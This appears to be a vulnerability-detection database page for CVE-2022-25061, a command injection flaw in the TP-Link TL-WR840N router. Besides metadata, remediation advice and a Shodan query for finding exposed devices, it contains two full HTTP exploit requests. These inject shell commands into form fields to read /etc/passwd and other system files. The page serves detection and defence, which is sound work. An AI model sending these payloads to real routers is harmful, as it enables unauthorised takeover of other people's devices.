🔙 목록으로 돌아가기

CVE-2022-25061: TP-Link TL-WR840N - Command Injection

TitleTP-Link TL-WR840N - Command Injection
Authorritikchaddha
SeverityCritical
ImpactAuthenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration.
RemediationUpdate firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface.
CVSS Score9.8
EPSS Score0.86026
CVE IDCVE-2022-25061
CWE IDCWE-78
Shodan Querytitle:"TL-WR840N"
Tags cve cve2022 tplink router rce iot authenticated vuln

🔍 Vulnerability Description

The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.

🌐 HTTP Request

POST /cgi?2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 195
Authorization: Basic YWhIYXlEOjBja2VzUjZs
Content-Type: text/plain
Referer: //mainFrame.htm
Accept-Encoding: gzip

[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5

enable=1

userName=;cat /etc/passwd > /tmp/XjvbNIFy.txt;

password=;cat /proc/cpuinfo >> /tmp/XjvbNIFy.txt;

userDomain=;cat /tmp/XjvbNIFy.txt;

login=1
POST /cgi?2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Content-Length: 136
Authorization: Basic YWhIYXlEOjBja2VzUjZs
Content-Type: text/plain
Referer: //mainFrame.htm
Accept-Encoding: gzip

[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3

__ifAliasName=ewan_ipoev6_d

__ifName=;cat /tmp/XjvbNIFy.txt;

defaultConnectionService=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25061.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25061.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A